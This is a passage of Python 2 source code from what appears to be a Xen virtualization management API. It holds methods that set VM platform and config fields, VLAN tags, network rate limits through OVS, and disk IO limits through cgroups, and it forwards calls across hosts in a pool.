BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_remove_from_HVM_boot_params', vm_ref, key) else: return self._VM_remove_from_HVM_boot_params(session, vm_ref, key) def _VM_remove_from_HVM_boot_params(self, session, vm_ref, key): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) if 'HVM_boot_params' in dom.info \ and key in dom.info['HVM_boot_params']: del dom.info['HVM_boot_params'][key] return self._VM_save(dom) else: return xen_api_success_void() def VM_set_PV_bootloader(self, session, vm_ref, value): ''' @deprecated: not used ''' return self.VM_set('PV_bootloader', session, vm_ref, value) def VM_set_PV_kernel(self, session, vm_ref, value): ''' @deprecated: not used ''' return self.VM_set('PV_kernel', session, vm_ref, value) def VM_set_PV_ramdisk(self, session, vm_ref, value): ''' @deprecated: not used ''' return self.VM_set('PV_ramdisk', session, vm_ref, value) def VM_set_PV_args(self, session, vm_ref, value): ''' @deprecated: not used ''' return self.VM_set('PV_args', session, vm_ref, value) def VM_set_PV_bootloader_args(self, session, vm_ref, value): ''' @deprecated: not used ''' return self.VM_set('PV_bootloader_args', session, vm_ref, value) def VM_set_platform(self, session, vm_ref, value): ''' @deprecated: not used ''' return self.VM_set('platform', session, vm_ref, value) # edit by wufan def VM_add_to_platform(self, session, vm_ref, key, value): ''' @author: wuyuewen @summary: Change a attribute in VM paltform. @precondition: VM not running, key exists in platform field. @param session: session of RPC. @param vm_ref: uuid @param key: attribute in VM platform field. @param value: value to change. @return: True | False. @rtype: dict. @raise xen_api_error: key error ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_add_to_platform(session, vm_ref, key, value) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_add_to_platform', vm_ref, key, value) else: return self._VM_add_to_platform(session, vm_ref, key, value) def _VM_add_to_platform(self, session, vm_ref, key, value): ''' @author: wuyuewen @summary: Internal method. Change a attribute in VM paltform. @precondition: VM not running, key exists in platform field. @param session: session of RPC. @param vm_ref: uuid @param key: attribute in VM platform field. @param value: value to change. @return: True | False. @rtype: dict. @raise xen_api_error: key error ''' try: dom = XendDomain.instance().get_vm_by_uuid(vm_ref) plat = dom.get_platform() plat[key] = value return self.VM_set_platform(session, vm_ref, plat) except KeyError: return xen_api_error(['key error', vm_ref, key]) def VM_remove_from_platform(self, session, vm_ref, key): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) plat = dom.get_platform() if key in plat: del plat[key] return self.VM_set_platform(session, vm_ref, plat) else: return xen_api_success_void() def VM_set_other_config(self, session, vm_ref, value): ''' @author: wuyuewen @summary: Set VM other config field. @param session: session of RPC. @param vm_ref: uuid @param value: a dict structure of other config. @return: True | False. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_other_config(session, vm_ref, value) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_set_other_config', vm_ref, value) else: return self._VM_set_other_config(session, vm_ref, value) def _VM_set_other_config(self, session, vm_ref, value): ''' @author: wuyuewen @summary: Internal method. Set VM other config field. @param session: session of RPC. @param vm_ref: uuid @param value: a dict structure of other config. @return: True | False. @rtype: dict. ''' return self.VM_set('other_config', session, vm_ref, value) def VM_add_to_other_config(self, session, vm_ref, key, value): ''' @author: wuyuewen @summary: Add a attribute to VM other config field. @param session: session of RPC. @param vm_ref: uuid @param key: attribute key. @param value: attribute value. @return: True | False. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_add_to_other_config(session, vm_ref, key, value) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_add_to_other_config', vm_ref, key, value) else: return self._VM_add_to_other_config(session, vm_ref, key, value) def _VM_add_to_other_config(self, session, vm_ref, key, value): ''' @author: wuyuewen @summary: Interal method. Add a attribute to VM other config field. @param session: session of RPC. @param vm_ref: uuid @param key: attribute key. @param value: attribute value. @return: True | False. @rtype: dict. ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) if dom and 'other_config' in dom.info: dom.info['other_config'][key] = value return self._VM_save(dom) def VM_add_tags(self, session, vm_ref, value): ''' @deprecated: not used ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_add_tags(session, vm_ref, value) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_add_tags', vm_ref, value) else: return self._VM_add_tags(session, vm_ref, value) def _VM_add_tags(self, session, vm_ref, value): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) if dom and 'tags' in dom.info: dom.info['tags'].append(value) return self._VM_save(dom) def VM_set_tags(self, session, vm_ref, value): ''' @deprecated: not used ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_tags(session, vm_ref, value) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_set_tags', vm_ref, value) else: return self._VM_set_tags(session, vm_ref, value) def _VM_set_tags(self, session, vm_ref, value): ''' @deprecated: not used ''' return self.VM_set('tags', session, vm_ref, value) def _VM_update_rate(self, session, vm_ref, type, vif_refs): ''' @deprecated: not used ''' eth_list = [] for vif_ref in vif_refs: device = self.VIF_get_device(session, vif_ref).get('Value') if device != '' and device.startswith('eth'): eth_num = device[3:] eth_list.append(eth_num) #log.debug("--------------->eth list:%s" % eth_list) xd = XendDomain.instance() dominfo = xd.get_vm_by_uuid(vm_ref) final_tag_list = {} try: other_config = self.VM_get_other_config( session, vm_ref).get('Value') #log.debug('VM update tag') if other_config: tag_list = other_config.get(type, {}) if tag_list and isinstance(tag_list, dict): for key, value in tag_list.items(): if key in eth_list: final_tag_list[key] = value dominfo.info['other_config'][type] = final_tag_list self._VM_save(dominfo) log.debug('VM_update_%s' % type) return xen_api_success_void() except Exception, exn: log.exception(exn) return xen_api_success_void() #add by wufan def _VM_update_tag(self, session, vm_ref, vif_refs): ''' @deprecated: not used ''' eth_list = [] for vif_ref in vif_refs: device = self.VIF_get_device(session, vif_ref).get('Value') if device != '' and device.startswith('eth'): eth_num = device[3:] eth_list.append(eth_num) #log.debug("--------------->eth list:%s" % eth_list) xd = XendDomain.instance() dominfo = xd.get_vm_by_uuid(vm_ref) final_tag_list = {} try: other_config = self.VM_get_other_config( session, vm_ref).get('Value') #log.debug('VM update tag') if other_config: tag_list = other_config.get('tag', {}) if tag_list and isinstance(tag_list, dict): for key, value in tag_list.items(): if key in eth_list: final_tag_list[key] = value dominfo.info['other_config']['tag'] = final_tag_list self._VM_save(dominfo) log.debug('VM_update_tag') return xen_api_success_void() except Exception, exn: log.exception(exn) return xen_api_success_void() #add by wufan def VM_set_all_rate(self, session, vm_ref, param_type, tag_list=None): ''' @author: wuyuewen @summary: Set all VIF's rate and burst limit controlled by OVS, this attribute stored in VM's other_config field. @param session: session of RPC. @param vm_ref: uuid @param param_type: rate/burst, rate is the rate(kbps) of VIF port controlled by OVS, burst(kbps) is the volatility overhead rate. @param tag_list: dict of rate for each VIF, the structure is {eth_num : rate}, e.g. {0:1000, 1:1000} @return: True | False. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_all_rate(session, vm_ref, param_type, tag_list) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_set_all_rate', vm_ref, param_type, tag_list) else: return self._VM_set_all_rate(session, vm_ref, param_type, tag_list) #add by wufan def _VM_set_all_rate(self, session, vm_ref, type, tag_list=None): ''' @author: wuyuewen @summary: Internal method. Set all VIF's rate and burst limit controlled by OVS, this attribute stored in VM's other_config field. @param session: session of RPC. @param vm_ref: uuid @param param_type: rate/burst, rate is the rate(kbps) of VIF port controlled by OVS, burst(kbps) is the volatility overhead rate. @param tag_list: dict of rate for each VIF, the structure is {eth_num : rate}, e.g. {0:1000, 1:1000} @return: True | False. @rtype: dict. ''' log.debug('set vm all type: %s' % type) if tag_list is None: xd = XendDomain.instance() dominfo = xd.get_vm_by_uuid(vm_ref) #log.debug('dom info %s' % dominfo.info) vif_refs = self._VM_get_VIFs(session, vm_ref).get('Value') for vif_ref in vif_refs: tag = self._VM_get_rate(session, vm_ref, type, vif_ref).get('Value') self._VM_set_rate( session, vm_ref, type, vif_ref, tag) self._VM_update_rate(session, vm_ref, type, vif_refs) else: for eth_num, tag in tag_list.items(): self._VM_set_rate_by_ethnum(session, vm_ref, type, eth_num, tag) return xen_api_success_void() def VM_get_dev2path_list(self, session, vm_ref): ''' @deprecated: not used ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return xen_api_success(self._VM_get_dev2path_list(session, vm_ref)) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_dev2path_list', vm_ref) else: return xen_api_success(self._VM_get_dev2path_list(session, vm_ref)) ''' get device_type, img_path return: {dev: img_path} eg: {'hda': '/home/sr_mount/2133.vhd'} ''' def _VM_get_dev2path_list(self, session, vm_ref): ''' @deprecated: not used ''' storage = self._get_BNStorageAPI_instance() dev2path_list = {} vbd_refs = self._VM_get_VBDs(session, vm_ref).get('Value') for vbd_ref in vbd_refs: if self._VBD_get(vbd_ref, 'type').get('Value').lower() == 'disk': dev = self._VBD_get(vbd_ref, 'device').get('Value') # vdi_ref = self._VBD_get(vbd_ref, 'VDI').get('Value') location = self._VBD_get(vbd_ref, 'uname').get('Value') # location = storage._get_VDI(vdi_ref).location dev2path_list[dev] = location log.debug('_VM_get_dev2path_list') log.debug(dev2path_list) return dev2path_list # when VM start ,async call to find IO pid def VM_start_set_IO_limit(self, session, vm_ref, io_limit_list={}): ''' @author: wuyuewen @summary: Internal method. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return XendTask.log_progress(0, 100, self.VM_start_init_pid2dev, session, vm_ref, io_limit_list) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_start_init_pid2dev', vm_ref, io_limit_list) else: return XendTask.log_progress(0, 100, self.VM_start_init_pid2dev, session, vm_ref, io_limit_list) # local call, called in VM_start_set_IO_limit def VM_start_init_pid2dev(self, session, vm_ref, io_limit_list): ''' @author: wuyuewen @summary: Internal method. ''' log.debug('VM_start_init_start_pid2dev') max_count = 0 while True and max_count < 5: max_count += 1 dom_id = self._VM_get_domid('', vm_ref).get('Value') if dom_id and dom_id != '-1': break time.sleep(2) if not dom_id: log.exception('Init pid2dev failed, dom id is None!') return xen_api_success_void() max_count = 0 while True and max_count < 5: max_count += 1 pid2dev_list = XendIOController.get_VM_pid2dev(dom_id) if pid2dev_list: break time.sleep(2) log.debug('get pid2dev_list:') log.debug(pid2dev_list) # self._VM_init_pid2devnum_list(session, vm_ref) if io_limit_list: for k, v in io_limit_list.items(): (type, io_unit) = k.split('_') log.debug('Set disk io rate, type: %s %s, value: %s' % (type, io_unit, v)) self._VM_set_IO_rate_limit(session, vm_ref, type, v, io_unit) else: for type in ['read', 'write']: for io_unit in ['MBps', 'iops']: rate = self._VM_get_IO_rate_limit(session, vm_ref, type, io_unit).get('Value') if rate != '-1': log.debug('Set disk io rate, type: %s %s, value: %s' % (type, io_unit, rate)) self._VM_set_IO_rate_limit(session, vm_ref, type, rate, io_unit) return xen_api_success_void() '''get {VM_pid1: (major, minor1), VM_pid2: (major, minor2)} and cache the result in memory when start or migrate the vm, call this function ''' def VM_init_pid2devnum_list(self, session, vm_ref): ''' @deprecated: not used ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_init_pid2devnum_list(session, vm_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_init_pid2devnum_list', vm_ref) else: return self._VM_init_pid2devnum_list(session, vm_ref) def _VM_init_pid2devnum_list(self, session, vm_ref): ''' @deprecated: not used ''' log.debug("VM_init_pid2devnum_list") dev2path_list = self._VM_get_dev2path_list(session, vm_ref) dom_id = self._VM_get_domid('', vm_ref).get('Value') pid2devnum_list = XendIOController.get_VM_pid2num(dom_id, dev2path_list) return self._VM_set_pid2devnum_list(session, vm_ref, pid2devnum_list) #clear old pid2devnum_list before set def _VM_set_pid2devnum_list(self, session, vm_ref, pid2devnum_list): ''' @deprecated: not used ''' xd = XendDomain.instance() dominfo = xd.get_vm_by_uuid(vm_ref) domname = dominfo.getName() log.debug('Set vm(%s) pid2devnum:' %(domname)) log.debug(pid2devnum_list) dominfo.info.setdefault('other_config',{}) dominfo.info['other_config']['pid2dev'] = {} #clear pid2dev_list for pid, devnum in pid2devnum_list.items(): dominfo.info['other_config']['pid2dev'][pid] = devnum self._VM_save(dominfo) return xen_api_success(dominfo.info['other_config']['pid2dev']) def VM_clear_pid2devnum_list(self, session, vm_ref): ''' @deprecated: not used ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_clear_pid2devnum_list(session, vm_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_clear_pid2devnum_list', vm_ref) else: return self._VM_clear_pid2devnum_list(session, vm_ref) def _VM_clear_pid2devnum_list(self, session, vm_ref): ''' @deprecated: not used ''' xd = XendDomain.instance() dominfo = xd.get_vm_by_uuid(vm_ref) domname = dominfo.getName() log.debug('clear vm(%s) pid2devnum:' %(domname)) if dominfo.info.get('other_config', {}) and \ 'pid2dev' in dominfo.info['other_config']: del dominfo.info['other_config']['pid2dev'] self._VM_save(dominfo) return xen_api_success_void() def VM_get_pid2devnum_list(self, session, vm_ref): ''' @deprecated: not used ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_pid2devnum_list(session, vm_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_pid2devnum_list', vm_ref) else: return self._VM_get_pid2devnum_list(session, vm_ref) def _VM_get_pid2devnum_list(self, session, vm_ref): ''' @deprecated: not used ''' try: pid2num_list = {} other_config = self._VM_get_other_config(session, vm_ref).get('Value') if other_config: pid2num_list = other_config.get('pid2dev',{}) #if can't get from memory, the excute cmd if not pid2num_list: log.debug("cant't get pid2devnum_list from memory, execute cmd") pid2num_list = self._VM_init_pid2devnum_list(session, vm_ref).get('Value') log.debug(pid2num_list) return xen_api_success(pid2num_list) except Exception, exn: log.exception(exn) return xen_api_success(pid2num_list) def VM_get_vbd2device_list(self, session, vm_ref): ''' @deprecated: not used ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_vbd2device_list(session, vm_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_vbd2device_list', vm_ref) else: return self._VM_get_vbd2device_list(session, vm_ref) def _VM_get_vbd2device_list(self, session, vm_ref): ''' @deprecated: not used ''' try: vbd2device_list = {} other_config = self._VM_get_other_config(session, vm_ref).get('Value') if other_config: vbd2device_list = other_config.get('vbd2device',{}) return xen_api_success(vbd2device_list) except Exception, exn: log.exception(exn) return xen_api_success(vbd2device_list) ''' type: read | write flag = True:excute cgroup cmd flag = False: just set value in config file ''' def VM_set_IO_rate_limit(self, session, vm_ref, type, value, io_unit): ''' @author: wuyuewen @summary: Set VM disk IO rate by cgroup, can set both read/write rate(MBps). @param session: session of RPC. @param vm_ref: uuid @param type: read/write. @param value: rate(MBps). @param io_unit: MBps | iops @param flag: True: excute cgroup cmd, False: just set value in VM's config file. @return: True | False. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_IO_rate_limit(session, vm_ref, type, value, io_unit) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_set_IO_rate_limit', vm_ref, type, value, io_unit) else: return self._VM_set_IO_rate_limit(session, vm_ref, type, value, io_unit) def _VM_set_IO_rate_limit(self, session, vm_ref, type, value, io_unit): ''' @deprecated: not used ''' #use /cgroup/blkio to constrol try: value = int(value) if value >= 0: if type not in ['write', 'read'] or io_unit not in ['MBps', 'iops']: return xen_api_error(['INVALID_TYPE_OR_UNIT']) xd = XendDomain.instance() dominfo = xd.get_vm_by_uuid(vm_ref) tag = '%s_%s_rate' % (type, io_unit) log.debug('Set vm(%s) %s: %s MBps' %(dominfo.getName(), tag, value)) dom_id = dominfo.getDomid() dev2path_list = self._VM_get_dev2path_list(session, vm_ref) pid2num_list = XendIOController.get_VM_pid2num(dom_id, dev2path_list) XendIOController.set_VM_IO_rate_limit(pid2num_list, type, value, io_unit) dominfo.info.setdefault('other_config',{}) dominfo.info['other_config'][tag] = value self._VM_save(dominfo) # log.debug("current dominfo:>>>>>>>>>>>>") # log.debug(dominfo.info['other_config']) return xen_api_success_void() elif value == -1: tag = '%s_%s_rate' % (type, io_unit) log.debug('%s dont have limit value' % tag) else: log.exception('VM set IO rate limit: value invalid') return xen_api_error(['Value invalid']) except Exception, exn: log.exception(exn) return xen_api_error(exn) ''' limit vm rate: flag = true :save config and excute cgroup cmd flag = false: just save the limit rate config ''' def _VM_set_IO_rate_limit_1(self, session, vm_ref, type, value, io_unit): ''' @author: wuyuewen @summary: Interal method. Set VM disk IO rate by cgroup, can set both read/write rate(MBps). @param session: session of RPC. @param vm_ref: uuid @param type: read/write. @param value: rate(MBps). @param io_unit: MBps | iops @param flag: True: excute cgroup cmd, False: just set value in VM's config file. @return: True | False. @rtype: dict. ''' #use /cgroup/blkio to constrol try: value = int(value) if value >= 0: if type not in ['write', 'read'] or io_unit not in ['MBps', 'iops']: return xen_api_error(['INVALID_TYPE_OR_UNIT']) xd = XendDomain.instance() dominfo = xd.get_vm_by_uuid(vm_ref) domname = dominfo.getName() tag = '%s_%s_rate' % (type, io_unit) log.debug('Set vm(%s) %s: %s MBps' %(domname, tag, value)) pid2num_list = self._VM_get_pid2devnum_list(session, vm_ref).get('Value') XendIOController.set_VM_IO_rate_limit(pid2num_list, type, value, io_unit) dominfo.info.setdefault('other_config',{}) dominfo.info['other_config'][tag] = value self._VM_save(dominfo) # log.debug("current dominfo:>>>>>>>>>>>>") # log.debug(dominfo.info['other_config']) return xen_api_success_void() else: log.exception('VM set IO rate limit: value invalid') return xen_api_error(['Value invalid']) except Exception, exn: log.exception(exn) return xen_api_error(exn) def VM_get_IO_rate_limit(self, session, vm_ref, type, io_unit): ''' @deprecated: not used ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_IO_rate_limit(session, vm_ref, type, io_unit) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_IO_rate_limit', vm_ref, type, io_unit) else: return self._VM_get_IO_rate_limit(session, vm_ref, type, io_unit) def _VM_get_IO_rate_limit(self, session, vm_ref, type, io_unit): ''' @deprecated: not used ''' rate = '-1' tag = '%s_%s_rate' % (type, io_unit) try: other_config = self._VM_get_other_config(session, vm_ref).get('Value') if other_config: rate = other_config.get(tag,'-1') return xen_api_success(rate) except Exception, exn: log.exception(exn) return xen_api_success(rate) def VM_clear_IO_rate_limit(self, session, vm_ref, type, io_unit): ''' @deprecated: not used ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_clear_IO_rate_limit(session, vm_ref, type, io_unit) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_clear_IO_rate_limit', vm_ref, type, io_unit) else: return self._VM_clear_IO_rate_limit(session, vm_ref, type, io_unit) def _VM_clear_IO_rate_limit(self, session, vm_ref, type, io_unit): ''' @deprecated: not used ''' if type not in ['write', 'read'] or io_unit not in ['MBps', 'iops']: return xen_api_error(['INVALID_TYPE_OR_UNIT']) pid2num_list = self._VM_get_pid2devnum_list(session, vm_ref).get('Value') #use /cgroup/blkio to constrol XendIOController.clear_VM_IO_rate_limit(pid2num_list, type, io_unit) xd = XendDomain.instance() dominfo = xd.get_vm_by_uuid(vm_ref) domname = dominfo.getName() tag = '%s_%s_rate' % (type, io_unit) log.debug('clear vm(%s) %s' %(domname, tag)) if dominfo.info.get('other_config', {}) and tag in dominfo.info['other_config']: del dominfo.info['other_config'][tag] #clear config self._VM_save(dominfo) return xen_api_success_void() def _VM_clean_IO_limit_shutdown(self, session, vm_ref): ''' @deprecated: not used ''' log.debug('shutdown clean: pid2dev and rate limit in cgroup file') pid2num_list = self._VM_get_pid2devnum_list(session, vm_ref).get('Value') for type in ['read', 'write']: for io_unit in ['MBps', 'iops']: XendIOController.clear_VM_IO_rate_limit(pid2num_list, type, io_unit) self._VM_clear_pid2devnum_list(session, vm_ref) return xen_api_success_void() def VM_set_rate(self, session, vm_ref, param_type, vif_ref, value): ''' @author: wuyuewen @summary: Set VIF's rate and burst limit controlled by OVS, this attribute stored in VM's other_config field. @param session: session of RPC. @param vm_ref: uuid @param param_type: rate/burst, rate is the rate(kbps) of VIF port controlled by OVS, burst(kbps) is the volatility overhead rate. @param vif_ref: VIF uuid @param value: VIF's rate(kbps) @return: True | False. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_rate(session, vm_ref, param_type, vif_ref, value) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_set_rate', vm_ref, param_type, vif_ref,value) else: return self._VM_set_rate(session, vm_ref, param_type, vif_ref, value) def _VM_set_rate(self, session, vm_ref, param_type, vif_ref, value): ''' @author: wuyuewen @summary: Internal method. Set VIF's rate and burst limit controlled by OVS, this attribute stored in VM's other_config field. @param session: session of RPC. @param vm_ref: uuid @param param_type: rate/burst, rate is the rate(kbps) of VIF port controlled by OVS, burst(kbps) is the volatility overhead rate. @param vif_ref: VIF uuid @param value: VIF's rate(kbps) @return: True | False. @rtype: dict. ''' xd = XendDomain.instance() dominfo = xd.get_vm_by_uuid(vm_ref) domname = dominfo.getName() log.debug('Set vm(%s) %s %s:%s' %(domname, str(vif_ref), param_type, value)) device = self.VIF_get_device(session, vif_ref).get('Value') log.debug('vif_ref:%s VM_set_%s:%s rate:%s' % (vif_ref, param_type, device, value)) template = False eth_num = '' if device != '' and device.startswith('eth'): eth_num = device[3:] elif not device : #log.debug('dom info %s' % dominfo.info) vif_refs = self._VM_get_VIFs(session, vm_ref).get('Value') #log.debug('vif refs: %s' % vif_refs) try: eth_num = str(vif_refs.index(vif_ref)) template = True #log.debug('>>>>>>>eth_num" %s' % eth_num) except: eth_num = '' pass if eth_num != '': log.debug('eth_num : %s ' % eth_num) try: if not template: dominfo.set_rate(param_type, int(eth_num), value) # ovs_cmd #self._VM_get_other_config(session, vm_ref) # in oder to convert other_config dominfo.info.setdefault('other_config',{}) tag_list = dominfo.info['other_config'].setdefault(param_type,{}) dominfo.info['other_config'][param_type][eth_num] = value #log.debug('other_config: %s' % value) return self._VM_save(dominfo) except Exception,exn: log.debug(exn) return xen_api_error(['device name invalid', device]) return xen_api_success_void() def _VM_set_rate_by_ethnum(self, session, vm_ref, param_type, eth_num, value): ''' @author: wuyuewen @summary: Internal method. Set VIF's rate and burst limit controlled by OVS, this attribute stored in VM's other_config field. @param session: session of RPC. @param vm_ref: uuid @param param_type: rate/burst, rate is the rate(kbps) of VIF port controlled by OVS, burst(kbps) is the volatility overhead rate. @param eth_num: eth_num of VIF @param value: VIF's rate(kbps) @return: True | False. @rtype: dict. ''' xd = XendDomain.instance() dominfo = xd.get_vm_by_uuid(vm_ref) domname = dominfo.getName() log.debug('VM_set_%s:%s rate:%s' % ( param_type, eth_num, value)) dominfo.set_rate(param_type, int(eth_num), value) # ovs_cmd #self._VM_get_other_config(session, vm_ref) # in oder to convert other_config dominfo.info.setdefault('other_config',{}) tag_list = dominfo.info['other_config'].setdefault(param_type,{}) dominfo.info['other_config'][param_type][eth_num] = value return self._VM_save(dominfo) #add by wufan def VM_set_all_tag(self, session, vm_ref, tag_list=None): ''' @author: wuyuewen @summary: Set all VIF's tag(VLAN-ID), this attribute stored in VM's other_config field. @param session: session of RPC. @param vm_ref: uuid @param tag_list: dict of tag for each VIF, the structure is {eth_num, tag_num} , e.g. {0:1, 1:2} @return: True | False @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_all_tag(session, vm_ref, tag_list) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_set_all_tag', vm_ref, tag_list) else: return self._VM_set_all_tag(session, vm_ref, tag_list) #add by wufan def _VM_set_all_tag(self, session, vm_ref, tag_list=None): ''' @author: wuyuewen @summary: Internal method. Set all VIF's tag(VLAN-ID), this attribute stored in VM's other_config field. @param session: session of RPC. @param vm_ref: uuid @param tag_list: dict of tag for each VIF, the structure is {eth_num, tag_num} , e.g. {0:1, 1:2} @return: True | False @rtype: dict. ''' log.debug('set vm all tag') if tag_list is None: # xd = XendDomain.instance() # dominfo = xd.get_vm_by_uuid(vm_ref) # log.debug('dom info %s' % dominfo.info) vif_refs = self._VM_get_VIFs(session, vm_ref).get('Value') for vif_ref in vif_refs: tag = self._VM_get_tag(session, vm_ref, vif_ref).get('Value') #log.debug('tag:%s' % str(tag)) self._VM_set_tag( session, vm_ref, vif_ref, tag) self._VM_update_tag(session, vm_ref, vif_refs) else: #tag_list is a dict #log.debug('tag_list:%s' % tag_list) for eth_num, tag in tag_list.items(): self._VM_set_tag_by_ethnum(session, vm_ref, eth_num, tag) return xen_api_success_void() def VM_set_tag(self, session, vm_ref, vif_ref, value, ovs=None): ''' @author: wuyuewen @summary: Set VIF's tag(VLAN-ID), this attribute stored in VM's other_config field. @param session: session of RPC. @param vm_ref: uuid @param vif_ref: VIF uuid @param value: VIF's tag number(VLAN-ID), default number is -1(VLAN not used). @return: True | False @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_tag(session, vm_ref, vif_ref, value, ovs) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_set_tag', vm_ref, vif_ref, value, ovs) else: return self._VM_set_tag(session, vm_ref, vif_ref, value, ovs) #original by wuyuewen #def _VM_set_tag(self, session, vm_ref, value): # xd = XendDomain.instance() # dominfo = xd.get_vm_by_uuid(vm_ref) # domname = dominfo.getName() # tag = self._VM_get_tag(session, vm_ref).get('Value') # if tag: # log.debug('Set vm(%s) vlan: %s' % (domname, value)) # dominfo.set_tag(value) # return self._VM_add_to_other_config(session, vm_ref, "tag", value) #add by wufan def _VM_set_tag(self, session, vm_ref, vif_ref, value, ovs): ''' @author: wuyuewen @summary: Internal method. Set VIF's tag(VLAN-ID), this attribute stored in VM's other_config field. @param session: session of RPC. @param vm_ref: uuid @param vif_ref: VIF uuid @param value: VIF's tag number(VLAN-ID), default number is -1(VLAN not used). @return: True | False @rtype: dict. ''' xennode = XendNode.instance() xenapi = self._get_XendAPI_instance() xd = XendDomain.instance() dominfo = xd.get_vm_by_uuid(vm_ref) domname = dominfo.getName() if not xd.is_valid_dev("vif", vif_ref): return xen_api_error(['VIF_NOT_EXISTS']) device = self.VIF_get_device(session, vif_ref).get('Value') bridge = xd.get_dev_property_by_uuid('vif', vif_ref, 'bridge') # network_org = xd.get_dev_property_by_uuid('vif', vif_ref, 'network') log.debug('Set vm(%s) %s vlan: %s ovs: %s bridge: %s' %(domname, str(vif_ref), value, ovs, bridge)) # log.debug('vif_ref:%s VM_set_tag:%s vlanid:%s' % (vif_ref, device, value)) eth_num = -1 if device and device.startswith('eth'): eth_num = device[3:] else: vifs = self._VM_get_VIFs(session, vm_ref).get('Value') if vif_ref in vifs: eth_num = vifs.index(vif_ref) if ovs and cmp(ovs, bridge) != 0: xennode._init_networks() is_valid_network = xennode.is_valid_network(ovs) if not is_valid_network: return xen_api_error(['OVS_NOT_EXISTS']) network_new = None list_network_new = xenapi.network_get_by_name_label(session, ovs).get('Value') if list_network_new: network_new = list_network_new[0] dominfo.switch_vif_to_different_ovs_and_set_tag(int(eth_num), value, ovs, bridge) try: # rc = self._VIF_set(vif_ref, 'network', network_new, network_org) rc1 = self._VIF_set(vif_ref, 'bridge', ovs, bridge) if not rc1: dominfo.switch_vif_to_different_ovs_and_set_tag(int(eth_num), value, bridge, ovs) return xen_api_error(['VIF_SET_BRIDGE_ERROR']) 